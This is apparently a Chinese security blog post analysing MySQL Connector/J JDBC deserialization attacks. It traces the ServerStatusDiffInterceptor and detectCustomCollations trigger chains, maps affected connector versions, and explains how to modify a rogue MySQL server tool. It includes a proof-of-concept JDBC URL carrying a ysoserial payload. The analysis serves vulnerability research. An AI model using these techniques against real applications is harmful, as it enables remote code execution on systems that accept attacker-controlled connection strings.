从JDBC|从JDBC attack到detectCustomCollations利用范围扩展
漏洞分析
原理
POC
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
关键属性 queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作)
statementInterceptors:和上面的拦截器作用一致,实现了com.mysql.jdbc.StatementInterceptor接口的Class
到底应该使用哪一个属性,我们可以在对应版本的
com.mysql.jdbc.ConnectionPropertiesImpl
类中搜索,如果存在,就是存在的那个属性autoDeserialize:自动检测与反序列化存在BLOB字段中的对象。
getObject方法的寻找 我们可以关注到
mysql-connnector-java-xxx.jar
包中存在有 ResultSetImpl.getObject()
方法当然,同样的,在不同的版本下的位置不同,我这里使用的
5.1.48
版本,他的位置在 com.mysql.jdbc.ResultSetImpl
类中文章图片
首先他会判断类型,如果是
BIT
类型,就会调用 getObjectDeserializingIfNeeded
方法,跟进文章图片
之后他首先会判断
field
是否是 Binary
或者 Blob
BLOB (binary large object),二进制大对象,是一个可以存储二进制文件的容器。在计算机中,BLOB常常是数据库中用来存储二进制文件的字段类型
之后取出对应的字节数,并且判断是否开启了
autoDeserialize
, 如果开启了,将会进入if语句继续判断前两个字节是否为 -84
-19
这是序列化字符串的标志,hex分别为 AC ED
, 如果满足条件,就会调用对应的 readObject
方法进行反序列化所以不难发现,如果我们能够控制需要反序列化的数据,就能够进行反序列化漏洞的利用
ServerStatusDiffInterceptor拦截器的妙用 我们可以关注到
com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
这个类,在其中的 populateMapWithSessionStatusValues
方法中,会调用 Util.resultSetToMap(toPopulate, rs);
方法,进而调用了 java.sql.ResultSet.getObject
方法,形成利用链//populateMapWithSessionStatusValues
private void populateMapWithSessionStatusValues(Connection connection, Map toPopulate) throws SQLException {
java.sql.Statement stmt = null;
java.sql.ResultSet rs = null;
try {
toPopulate.clear();
stmt = connection.createStatement();
rs = stmt.executeQuery("SHOW SESSION STATUS");
Util.resultSetToMap(toPopulate, rs);
//调用getObject方法
} finally {
if (rs != null) {
rs.close();
}if (stmt != null) {
stmt.close();
}
}
}
//Util.resultSetToMap
public static void resultSetToMap(Map mappedValues, java.sql.ResultSet rs) throws SQLException {
while (rs.next()) {
mappedValues.put(rs.getObject(1), rs.getObject(2));
}
}
同样通过idea的
find Usages
方法找到在 postProcess
方法中调用了 populateMapWithSessionStatusValues
public ResultSetInternalMethods postProcess(String sql, Statement interceptedStatement, ResultSetInternalMethods originalResultSet, Connection connection)
throws SQLException {if (connection.versionMeetsMinimum(5, 0, 2)) {
//调用
populateMapWithSessionStatusValues(connection, this.postExecuteValues);
connection.getLog().logInfo("Server status change for statement:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));
}return null;
// we don't actually modify a result set}
同样在
preProcess
方法中也调用了在调用链中也可以得到
populateMapWithSessionStatusValues:61, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:84, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:54, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)
preProcess:65, NoSubInterceptorWrapper (com.mysql.jdbc)
invokeStatementInterceptorsPre:2824, MysqlIO (com.mysql.jdbc)
sqlQueryDirect:2580, MysqlIO (com.mysql.jdbc)
execSQL:2465, ConnectionImpl (com.mysql.jdbc)
execSQL:2439, ConnectionImpl (com.mysql.jdbc)
executeQuery:1365, StatementImpl (com.mysql.jdbc)
loadServerVariables:3775, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3196, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2233, ConnectionImpl (com.mysql.jdbc)
createNewIO:2015, ConnectionImpl (com.mysql.jdbc)
:768, ConnectionImpl (com.mysql.jdbc)
:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:425, Util (com.mysql.jdbc)
getInstance:385, ConnectionImpl (com.mysql.jdbc)
connect:323, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:208, DriverManager (java.sql)
main:15, Test (pers.xstream)
在
com.mysql.jdbc.ConnectImpl#loadServerVariables
方法存在需要执行一段 SHOW VARIABLES
的sql语句results = stmt.executeQuery(versionComment + "SHOW VARIABLES");
因为在这个版本中的
mysql-connector
使用的是 statementInterceptors
作为在执行SQL语句的拦截器类,所以在 com.mysql.jdbc.MysqlIO#sqlQueryDirect
方法中存在对这个属性值是否存在的判断,如果存在,就调用其中的拦截处理逻辑,不存在就直接放行文章图片
进而调用了对应
Interceptor
的 preProcess
方法,如果我们在JDBC连接串中使用的是 ServerStatusDiffInterceptor
作为拦截器,那么就会调用他的 preProcess
方法,进而形成了利用链注意:在
populateMapWithSessionStatusValues
方法中存在一个执行 SHOW SESSION STATUS
获取结果的逻辑rs = stmt.executeQuery("SHOW SESSION STATUS");
我们在恶意Mysql服务端进行处理的时候就可以通过进行
SHOW SESSION STATUS
或者其他版本的其他标志作为标志,返回我们构造的恶意payload, 使得在后面调用了 UtilresultSetToMap
进行getObject的调用在
ResultSetImpl#getObject
方法中对mysql服务端返回的数据进行判断,这里是 Types.LONGVARBINARY
类型(长二进制数据), 再然后就是前面提到了 getObject
方法寻找的部分了detectCustomCollations的妙用 在这里我们将环境中的
mysql-connector-java
包改为 5.1.29
版本来自
chybeta
佬的研究,我们可以关注到 ConnectionImpl#buildCollationMapping
中存在有 Util.resultSetToMap
的调用,能够形成前面所描述的利用链文章图片
首先看一下调用栈
buildCollationMapping:1004, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3617, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2550, ConnectionImpl (com.mysql.jdbc)
createNewIO:2320, ConnectionImpl (com.mysql.jdbc)
:834, ConnectionImpl (com.mysql.jdbc)
:46, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:416, ConnectionImpl (com.mysql.jdbc)
connect:347, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:208, DriverManager (java.sql)
main:16, Test (pers.xstream)
从上面的截图我们可以看到有几个判断条件
- 需要满足服务端版本要大于
4.1.0
, 而且detectCustomCollations
需要为true
if (versionMeetsMinimum(4, 1, 0) && getDetectCustomCollations())
- 需要满足大于
5.0.0
,在5.1.28
不存在这个条件
SHOW COLLATION
命令的结果集,同样可以作为标志返回恶意payload【从JDBC|从JDBC attack到detectCustomCollations利用范围扩展】只要满足上述条件,就只需要将结果集中的字段 2 或者 3 封装我们的序列化数据就可以成功利用了
进行探索 过程
在大佬的研究中,提到了,
detectCustomCollations
触发方式在 5.1.40
版本之后不能够利用,因为没有使用 getObject
的方式获取 SHOW COLLATION
的结果但是在我的跟踪中,发现了,其实还是可以利用的,虽然这个发现没有什么大用,在高版本不能使用
ServerStatusDiffInterceptor
的时候用用??在idea中添加对应版本的包
mysql
mysql-connector-java
5.1.41
在版本对比中,的确在新版本中删掉了
Util.resultSetToMap
的调用文章图片
但是却在后面直接调用了
SHOW COLLATION
返回的结果,调用 getObject
方法,这里或许就可以达到我们的利用目的为什么不能够成功执行 在发现了这个触发位置之后,我使用 工具 进行漏洞利用的时候,发现并不能够成功执行payload, 为什么呢?
我们可以关注到在调用
getObject
的时候文章图片
这里是取的第3列的数据,而在大佬的工具中有所描述
SHOW SESSION STATUS和SHOW COLLATION的公用列是第二列
同时在debug的过程中发现取出的并不是序列化数据,所以我们需要修改工具,使得返回的结果集中第3列是恶意的序列化数据,之后对利用工具进行了深入了解,和构造分析,可以知道在
server.py
中的 handle_server
方法中需要我们对其更改文章图片
在图片所指的位置,就是我们返回集的第1,2,3的数据,可以直接改成
content
接收序列化数据,相对的,如果使用的是 config.json
配置文件执行命令的方式,就需要将上面某个的233改为 yso_dict[username]
之后我们就可以成功利用了
文章图片
只有直到在
5.1.49
版本中做出了更改,导致不能使用6.x版本能够利用吗 当然可以,在6.x版本中,他就类似于5.1.41之前的调用
Util.resultSetToMap
, 在这里它使用的是 ResultSetUtil.resultSetToMap
,跟进一下看下逻辑文章图片
文章图片
是不是和之前的差不多,利用:
文章图片
版本区分 ServerStatusDiffInterceptor
5.1.11-6.0.6
使用的是statementInterceptors
属性,而8.0
以上使用queryInterceptors
, 具体属性可以在ConnectionPropertiesImpl
类中搜索5.1.11
以下,不能通过这种方式利用,因为在5.1.10
中Interceptors
的初始化过程在漏洞利用过程之后,将会在利用中,因为找不到interceptor
而不能够触发成功
文章图片
5.0.x
没有这个拦截器
8.0.x
不存在getObject方法的调用6.x
能够利用,因为他在com.mysql.cj.jdbc.ConnectionImpl
中调用了ResultSetUtil.resultSetToMap
和上面的功能类似,且没有版本判断
文章图片
- 从
5.1.29
开始启用detectCustomCollations
属性,但是直到5.1.49
做出了更改导致不能使用
文章图片
在这里值得注意的是,在
5.1.41
做出了更改,不再调用 Util.resultSetToMap
方法,进而调用getObject方法,改为了直接调用 getObject
方法- 在
5.1.19 - 5.1.28
过程中,不存在detectCustomCollations
属性的判断,但是仍然可以调用 5.1.18
以下没有使用getObject
方法的调用
fnmsd
的研究稍作修改文章图片
将其中5.1.41不可用改成
5.1.29
以上只有 5.1.49
不可用,且 6.x
系列都可以使用推荐阅读
- 投稿|从独霸乳腺癌到进军肺癌,ADC龙头不讲武德
- 博为峰和柠檬班哪个好 从这个方面就能判断谁更好
- 云服务器|从业务场景分析腾讯云服务器选型最佳实践!
- 005.|005. Flink DataSource API
- 初一,或十五的月亮
- 要想养好持久晶莹美肌从COUP赋活片开始
- Rust|Rust 从入门到精通05-数据类型
- MySQL数据库|MySQL数据库四(MySQL数据库)
- spring|spring boot配置JDBC数据源连接DB2数据库
- 从0到1|牛客网刷题——JAVA